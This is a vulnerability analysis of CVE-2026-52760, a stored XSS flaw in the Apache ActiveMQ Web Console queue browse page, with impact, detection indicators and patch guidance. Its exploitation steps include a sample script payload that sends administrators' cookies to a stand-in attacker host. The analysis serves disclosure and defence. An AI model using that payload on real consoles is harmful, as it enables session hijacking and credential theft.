CVE-2026-52760: 
Apache ActiveMQ Classic vulnerability analysis and mitigation

CVE-2026-52760 is a stored Cross-Site Scripting (XSS) vulnerability in Apache ActiveMQ and Apache ActiveMQ Web Console, where the browse page renders JMS message IDs directly without sanitization. An authenticated producer can send a message with a crafted JMS message ID containing HTML/JavaScript payloads that execute in an administrator's browser when they browse the queue in the Web Console. The vulnerability was disclosed on June 29, 2026, by Christopher L. Shannon of the Apache Security Team, with credit to finder Biswajeet Ray. Affected versions include Apache ActiveMQ before 5.19.8 and from 6.0.0 before 6.2.7, as well as the corresponding Apache ActiveMQ Web Console versions. It carries a CVSS v3.1 base score of 6.1 (Medium) (Apache Advisory, GitHub Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS variant. The ActiveMQ Web Console's queue browse page directly renders JMS message ID values into the HTML output without applying HTML encoding or sanitization, allowing attacker-controlled content to be interpreted as markup by the browser. An authenticated producer with access to publish messages to a queue can craft a JMS message ID containing arbitrary HTML or JavaScript; this payload is stored server-side and executes when an administrator navigates to the queue browse page. No public proof-of-concept exploit code has been identified at this time (oss-security, GitHub Advisory).

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the context of an administrator's browser session, potentially enabling session hijacking, credential theft, or unauthorized administrative actions within the ActiveMQ Web Console. The scope change in the CVSS score reflects that the impact crosses from the producer's security context into the administrator's browser context. Confidentiality and integrity are both assessed as low impact, with no direct availability impact; however, compromise of an administrator session could facilitate further privilege escalation or lateral movement within the environment (GitHub Advisory, oss-security).

1. Gain producer access: Obtain credentials or access rights to publish messages to an Apache ActiveMQ queue on a vulnerable instance (before 5.19.8 or 6.0.0–6.2.6).
2. Craft malicious JMS message ID: Construct a JMS message with a message ID field containing an HTML/JavaScript payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or similar XSS payload.
3. Publish the message: Send the crafted message to a queue that administrators are likely to browse via the ActiveMQ Web Console.
4. Wait for administrator interaction: When an administrator navigates to the queue browse page in the Web Console, the unsanitized message ID is rendered directly into the HTML, triggering execution of the injected JavaScript in the administrator's browser.
5. Achieve objective: The executed script can steal session cookies, perform actions on behalf of the administrator, or exfiltrate sensitive information from the Web Console session (oss-security, GitHub Advisory).

• Network: Outbound HTTP requests from the administrator's browser to unexpected external domains shortly after browsing the ActiveMQ Web Console queue page; unusual POST requests to external endpoints containing encoded cookie or session data.
• Logs: ActiveMQ broker logs showing messages published with anomalous or unusually long message IDs containing HTML special characters (e.g., <, >, script); Web Console access logs showing administrator browse activity on queues containing suspicious messages.
• Application: JMS messages in queues with message IDs containing HTML tags, JavaScript keywords (<script>, onerror=, javascript:), or URL-encoded equivalents (%3Cscript%3E).

Apache has released patched versions addressing this vulnerability: upgrade Apache ActiveMQ to 5.19.8 or 6.2.7 (or later). As interim mitigations, restrict access to the ActiveMQ Web Console to trusted administrators only, using network-level controls such as firewall rules or VPN requirements. Deploying a Web Application Firewall (WAF) configured to filter JavaScript payloads in HTTP responses from the console can also reduce risk. Monitoring for anomalous message IDs in queues is recommended as a detection measure (Apache Advisory, oss-security).

The vulnerability was disclosed via the Apache Security mailing list and oss-security on June 29, 2026, by Christopher L. Shannon, crediting Biswajeet Ray as the finder. Coverage appeared on security aggregation sites including SecurityOnline.info and vulnerability tracking platforms shortly after disclosure. No significant threat actor attribution or notable researcher commentary beyond the initial advisory has been identified (oss-security, SecurityOnline).